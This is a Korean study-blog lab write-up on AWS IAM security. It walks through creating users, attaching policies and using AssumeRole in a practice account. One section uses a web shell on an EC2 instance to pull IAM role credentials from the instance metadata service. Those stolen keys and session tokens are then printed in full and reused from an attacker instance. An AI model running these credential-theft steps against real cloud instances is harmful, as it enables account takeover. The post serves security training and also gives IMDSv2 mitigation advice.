새소식

Study/AHSS

AHSS - 2주차 IAM 취약점 및 보안

  • -

IAM 취약점 및 보안

공격의 시작은 계정 탈취!

Git Hub에 IAM 자격증명 Key를 GitHub에 업로드하여 해커의 Scan으로 계정 탈취 된 경우!

 

 

우선 CloudFomrmation 을 통해 리소스 배포!

리소스 배포시 유의 사항~!

(IAM 리소스는 아래 체크박스를 체크해야 배포 가능)

 

 

 

EC2 WebShell + IMDS

실습 : WebShell(phpbash)

[WebServer EC2] Public IP로 웹 접속 (WebShell) → EC2 IMDS(Instance Metadata Service)로 정보 획득

 

 

공용 IP를 사용하여 웹 브라우저를 통해 접근한 Web server 

아래와 같은 정보를 통해서 aws ec2 임을 확인할 수 있다.

 

기본적으로 EC2의 메타 데이타 정보를 획득하기 위한 라우팅 Path (공통 주소)

169.254.169.254 dev eth0

 

이를 바탕으로 메타 데이타 서비스를 통해서 EC2 인스턴스의 Private IP, Public IP를 확인할 수 있다.

# 메타 데이터를 통해 확인한 EC2의 IP
ip route
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/local-ipv4 ; echo
curl -s http://169.254.169.254/latest/meta-data/public-ipv4 ; echo


apache@WebServer:/var/www/html# curl -s http://169.254.169.254/latest/meta-data/local-ipv4 ; echo
10.0.0.10
apache@WebServer:/var/www/html# curl -s http://169.254.169.254/latest/meta-data/public-ipv4 ; echo
13.125.98.146

 

메타 데이터를 통해 AccessKey,SecretAccessKey,Token 정보를 확인할 수 있다. 

> 이를 통해 EC2를 탈취 할 수 있다!

# IMDS 정보 확인 : 메타 데이타를 통해 확인한 IAM Role 출력값 
curl -s http://169.254.169.254/latest/meta-data/iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole ; echo

apache@WebServer:/var/www/html# curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole ; echo
{
"Code" : "Success",
"LastUpdated" : "2023-09-08T06:36:28Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAUQ26LCV23O4XD4WB",
"SecretAccessKey" : "7I2C3LzoHWiVk2dzX4Xy87jor39hwp7TCh8ZE1ZQ",
"Token" : "IQoJb3JpZ2luX2VjEMf//////////wEaDmFwLW5vcnRoZWFzdC0yIkYwRAIgZUNa4DbkzNM85MhHrLmda7jYJO1yGEyvteNiXrXWVcUCIC5xokrNuubVwJo/J8cJUhx5Yc+ZjMWIkWs0stMV8gGqKtEFCKD//////////wEQARoMMzExMDQ2MTE2NzI1Igz4mLzmHlQGsFvf/pEqpQXibqWl9wmJHlTWwtdXqaNOme0fku+VN+ToCWxpxxj5S26vfJw489bXr1jX97D8RG2t/5chr4dwvIozecgpTAZyeEJFC9gk3iPRnxIMoWC4HvN15nL3Yuhc0vb/DAQ69ZhL+uPEHawSWMuoBgDYI7FaVAp1ZgrQ/gSME8pX9MeivP3uhUK8WYFawwAkJJj9O9BzFW9w/7qZBSUHBdFDmQRaVUmpWP6ulig1gGwb+0pKf+2TylxPyaidIc0G0d0pdCVhNQOxvPVj51jINFSdRz95cTr4trYQRyijDZ9maGDWyL15yN4/K4OO1PxMxpslEaiQ24uJOqIHI2MU46AXmqfkahlJV9CQlw0CDIpjoG9l7NHa5ZEF6h8N30plpxgwRR+LfJI/vYn4MVmCBtfjeWeyGFrLZlSB0oeLvh+Clzn9jgxqvwqAw7TbsvTunAiyOWqA4jxTfi1fHrpyo8AkbURsL5ISA+8yldy5+Q3UOtkw1emXMcs4v81E7spqikAxtFsV6bII2p1FnH5GaZYAfFlpG3/yt+RSl4voTlulcLzZ6V35umieBQjzAxOVCun/Qth3lEnJuk0zivi6Ezpvv20e/iu+5/2R2MGR9cHn9ai6tGQPRp5Uke/46H/cc57eIhJ9TpHqo5uKbbkn+8vm+PiZLjcmfBFge+xAC+VB48XjQP4pneBd7FZG7CNhMChK/+uDf6rDJ2RL4v4E29pnTs/eweKnvWZrQwBiezz9hs1WHVwsQuprJEiTHHoborNGhY+o5wEp5QCh8ewWWZznE4dRUB6pkiJBAyDrpt/n645boz3FNvq5yogzisoP65VV3mOlDPGcqIZay+crhDiiGWs6ZXXgUW+4M16GcSrAPhSd08IsHyVwgjE2MM+1M34mOiSxu/6bEDCxgeunBjqyAX0qgrz82/qSGKTZsw4oy73v1S3QJyO3q3hUm8T7psh8fOhO9Ri9dsWXiU4bPZI9oAdtJSlVoKGO6J+sv/ogguUp2OP2ylE5rtka+/R4rVfVRzbNeQpNyONNLjG9gtqUJy2PQ/WZ/LTA6rrczAwHGG+wSzDj2NTjoMrQpT5ZCRW1xzVz/SWJg+9U10412hB6eVypXFVdMZ2tWh9T8JWg9XMihAZAPcF/yv4kum/V3Occ9jY=",
"Expiration" : "2023-09-08T12:55:49Z"
}

 

 

 

(참고) [WebServer EC2] SSH 접속 후 확인

 

웹 엑세스 로그 실시간 확인

tail -f /var/log/httpd/access_log

 

 

 

[Attacker EC2] Public IP SSH 접속 후 탈취한 자격 증명 사용

# 자격 증명 없이 사용 (attacker ec2에서)
aws s3 ls

위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용

[root@Attacker ~]# export AWS_ACCESS_KEY_ID="ASIAUQ26LCV2U43TWRU4"
[root@Attacker ~]# export AWS_SECRET_ACCESS_KEY="SfKm1mrB9rGQGC66WRnLnm22Gw4G1tdZt4W6n2dk"
[root@Attacker ~]# export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEO7//////////wEaDmFwLW5vcnRoZWFzdC0yIkYwRAIgVo0HIgaY/uATrlHq/DoQ/aK8mzI5iPlj9u30g+aMU14CIFzTeKrlSl0jYn5utrcPogWCDnpQdMCjSs22spJubAR8KtEFCMf//////////wEQARoMMzExMDQ2MTE2NzI1Igy40ISuk9ATjECwM8QqpQX8EQmco1sjbpWWm9Ge+B1dVfA5m+5mWDlmaYgq6G/qpAMQtzVuXKsfTb+oU7jn97UWuxF/LAzJnM73DLME9COhweisp1CO9Xmic6dUpfCk9jSjj3C1QuGJZ0fvg9j13a5SxZhwbV2cXGGBOMFkO+tmDgf6HM+XtkIQU2Jx/znwZ0WUWaiXhXD1AxMm5eEmLvkPMHjyOeQ0GxTk4CHoyjcaQrjuYWQWUhOAEsQs+D6/dnkJK1SmgT26UJI8xf++jrEMCdBn87GYrgxO4bSEQFkkr5aQMad5MhFby4mxcAyJ6XtIdPQXnd+uMCW3jHI6Zl2Lr/zblRDfyYtxIAYWRj8Mn4/659wy21t5EVHlFQO82CxydMSFT9/66C6eGtJvku3Kw/ccfFrlzy9JaxWu+fUHa64LSysp9V7+whbY6ZS0EKrjiWDmj7eHP8FUD7ZfD5AYxW9ex2AFd92kJTLh91aiPgNUazQfjnOgVkSznc3bcClbie26OZrOQ19RTnwSVvw0wW2C8FyFhHRx4I1T2oIjC07V1USqx6Qx/0M8RKFqjXOFuytEvUdJrRiMYFDdeP5Jnx9dh4a4degFNMqiXFmpiM8jHkor9GPX/ZVWQVTcncFfF8yD7DpHNrzSJMtJbMpwAH2wI/lPjrMop/x22WL7m27it4FNVqA3UkB4FXPeccURvS0MW+yCoecHNv5OP1hwLKl+NKRW4z/dxAm2U07jFRrRBibiNc0ic62lruJd2wqyATgkcCuB5BuJSTinOoMSSMI6tXFTKR8EiYH43CkAzCM7AG4nY0+04mu0dRzU9uiyjKFAvv2RzXrm+LT8nCcSiGu/aDec1vmgUODjRpw7/UcOAyVuKbmQtC9HDoFQBQCf7di/i1QPL7JMczChr3g60Y66fDDn2/OnBjqyAfIamkbqVFZ6N3zUQKaKHWUNQo96DBvenEITgT067mOlr16N+laGBh3tH3KBoi34aWGEa7r3mtnKE/pNWJ5oeDqeQF1rADnWE9fpzDOK957p0IsorL3lHC2jLx6O3EFCk4t8kdwJDxu97eK

S3정보 확인

 

caller id 확인 : UserId: 인스턴스ID

위에 인스턴스 ID정보를 이용해 보자!

 

 

AWS CloudTrail 에서 ‘사용자 이름’에 위 인스턴스ID 값 넣고 필터링 확인

→ 각 이벤트 클릭하여 상세 정보 확인

이벤트 이름 ‘AssumeRole’ 로 필터링 확인

→ 각 이벤트 클릭하여 상세 정보 확인

 

 

[AWS 관리콘솔] 확인 : IAM 역할 정보 확인, EC2 정보 확인(IAM 역할, 인스턴스 메타데이터 옵션 확인)

IAMLabInstanceRole을 사용하고 있는 ec2정보

aws configure로 입력하는 것은 장기 키! ( 오래도록 유지되는 키! )

Iam을 통해 사용하는 키는 임시 키! ( 일정 기간동안 사용 가능한 키! )

 

 

기본적으로 활성화 되어있는 인스턴스 메타데이터 서비스!

메타데이터를 사용하지 않는가면 해당 기능은 반드시 꺼두자!

-> IMDSv2를 통해 토큰을 발급받아 사용 가능!

 

 

 

 

IAM User 기본 실습

관리자 수준의 자격증명이 되어있는 환경에서 실행! [CloudShell]도 가능!

# aws cli 설치 및 버전 확인
aws --version

# caller id 확인
aws sts get-caller-identity

# 자신의 AWS 계정 ID 변수 지정
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
echo $ACCOUNT_ID

 

IAM User 생성 및 정책 연동

 

 user1,2 사용자 생성

aws iam create-user --user-name user1
aws iam create-user --user-name user2

 

user 1,2 사용자의 AWS Web Console 로그인 profile 생성

cat <<EOF > create-login-profile-user1.json
{
    "UserName": "user1",
    "Password": "Ahss\$1234",
    "PasswordResetRequired": false
}
EOF
cat create-login-profile-user1.json | jq
aws iam create-login-profile --cli-input-json file://create-login-profile-user1.json

 

 

iam 사용자 리스트 확인

aws iam list-users | jq

 

사용자에게 프로그래밍 방식 액세스 권한 부여

aws iam create-access-key --user-name user1
{
    "AccessKey": {
        "UserName": "user1",
        "AccessKeyId": "AKIA5ILF2FJITUNS2S5S",
        "Status": "Active",
        "SecretAccessKey": "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",
        "CreateDate": "2023-09-03T06:21:17+00:00"
    }
}

 

사용자에 정책을 추가

aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name user1
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --user-name user2

[AWS 관리콘솔] IAM 에서 User 정보 확인 : 관리콘솔 접속 URL 확인

 

크롬 확장 프로그램 MultiLogin 설치 후 클릭하면 신규 창에서 aws 관리콘솔 로그인 실습 진행

-> 같은 브라우저에서 콘솔 로그인 링크를 통해 로그인하면 기존 로그인 되어있는 계정이 로그아웃 된다!

MultiLogin 확장프로그램을 통해 멀티 로그인을 할 수 있다!

  • Chrome MultiLogin 확장프로그램 설치 - 링크

 

[Attacker EC2] AWS CLI에서 자격증명 설정

# 시도
aws s3 ls

# user1,2 자격증명 profile 생성
aws configure --profile user1
AWS Access Key ID [None]: 
AWS Secret Access Key [None]: 
Default region name [None]: ap-northeast-2
Default output format [None]:

# 자격 증명 정보 저장되는 파일 확인
cat ~/.aws/credentials

caller id 확인

aws sts get-caller-identity --profile user1 | jq
aws sts get-caller-identity --profile user2 | jq

 

자격증명 profile Configuration 사용 방법 확인!

# 자격증명 사용 확인
aws s3 ls --profile user1
aws s3 ls --profile user2
aws ec2 describe-vpcs --profile user1 | jq
aws ec2 describe-vpcs --profile user2 | jq

# S3 버킷 생성
NICKNAME=<각자 자신의 닉네임>
NICKNAME=yeongil
aws s3 mb s3://ahss-2w-$NICKNAME   --region ap-northeast-2 --profile user1
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2 --profile user2

# S3 버킷 조회
aws s3 ls --profile user2

 

 

 

 

IAM 임시자격증명 요청 및 사용

 

user2 사용자에 인라인 정책을 추가 : STS 서비스의 AssumeRole Action 허용

cat <<EOF > allow-assume-role.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "allowassumerole",
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Resource": "*"
        }
    ]
}
EOF
cat allow-assume-role.json | jq
aws iam put-user-policy --user-name user2 --policy-name allow-assume-role --policy-document file://allow-assume-role.json

 

AmazonS3FullAccess 권한을 가진 IAM Role 생성

export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
cat <<EOF > MyAccount-AssumeRole.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Principal": {
                "AWS": "$ACCOUNT_ID"
            },
            "Condition": {}
        }
    ]
}
EOF
cat MyAccount-AssumeRole.json | jq
aws iam create-role --role-name assume-role-s3full --assume-role-policy-document file://MyAccount-AssumeRole.json --max-session-duration 7200

 

assume-role-s3full IAM Role 에 AmazonS3FullAccess 정책 적용

aws iam attach-role-policy --role-name assume-role-s3full --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess

IAM user2, iam role 정보 확인

 

 

[Attacker EC2] AssumeRole 을 통해 임시자격증명 요청 및 임시자격증명 실행 및 S3 접속 시도

 

AssumeRole 을 통해 임시자격증명 발급

export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text --profile user2)
#aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name <각자 편한이름 지정> --query "Credentials.[AccessKeyId,SecretAccessKey,SessionToken]" --output text
aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name MyS3accessSession --profile user2

 

위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용

export AWS_ACCESS_KEY_ID="ASIAUQ26LCV26PX3EOPL"
export AWS_SECRET_ACCESS_KEY="hQt/UkTC+0XNJ1QraH4r6+SadhLGBaqt42Q0McVE"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEPD//////////wEaDmFwLW5vcnRoZWFzdC0yIkcwRQIhAPqC0UJH8mbxPyl49MP/U8saICoZ1xqFCjCRnNouklRCAiAEP3Qta7pt5ge346WkHzkTOGb1G0shzp1BOOTbJHhqUiqnAgjJ//////////8BEAEaDDMxMTA0NjExNjcyNSIMkbQm+OKEtMZ9zchjKvsBFf4519elfczfg3+mpAl7vipbTfjYmw7BMy8hgbELVzwRaNIh/cfV726t/F560JtJ8Eo7rWF0rskSvDz72+L8R8+PW77j3t79ejzvs6Bk5eS8Jl6iREv7sfJvSWFJa+YyG5UTJdbbjhVj7pvS0EI3Ne4KwpjJLkCT5h+I6/uRgs8R3jXw89j8Vc9fb4rKQ4Ratz315uCrfUUtbiz9vd3LUmWD478XtABOrBSDhY4eKWBla6opnCgU0SpAMDvkiavBh7WLFDwdmMd6v+3mtEkDTAzLPbvAfaXSdf/knRjfLyqHgE9zdLaPbko+lyL3j+JpuMkri3EKsQrIyVEw4ZP0pwY6nQFAc4ISvMGICF8q3Bx3lUh1fC8QbEvTzc4mTW6DKUFVC6+x9QwHAps0F2rOC1rJMP0keIOyTbVjawzipBESk6xhsSgSRhjdE8pmtvisn056kgkPvDII9JCW+n6R89EeRX3zQ/Gbq8Viwn2UkZi5LUzGIhIiq6TXcXW7meNfJR6OexXYqwVK84ziMe5C6UpVTv5oyuRyNIZQj6js7BLi"

 

caller id 확인

aws sts get-caller-identity | jq

 

S3 버킷 생성 > 버킷 조회 

NICKNAME=<각자 자신의 닉네임>
NICKNAME=yeongil
#aws s3 mb s3://***버킷***(유일한 이름) --region ap-northeast-2
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2

aws s3 ls

 

(참고) 임시자격증명 제거

unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN

 

 

IAM Role 에서 ‘콘솔에서 역할 전환 링크’ 메모

 

[user2] 웹 세션 → 위 링크 복붙으로 역할 전환

 

역할 전환 성공 후 S3 버킷 생성! → 실습 완료 후 버킷 삭제 ⇒ 다시 전환으로 user2로 원복

 

 

실습 완료 후 사용한 리소스는 반드시 삭제하자!

실습 환경 삭제

  1. AWS CloudFormation Stack 삭제
  2. IAM User 삭제 : user1, user2
  3. IAM Role 삭제 : assume-role-s3full

'Study > AHSS' 카테고리의 다른 글

AHSS 1주차 - S3 취약점 및 보안  (0) 2023.09.03
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.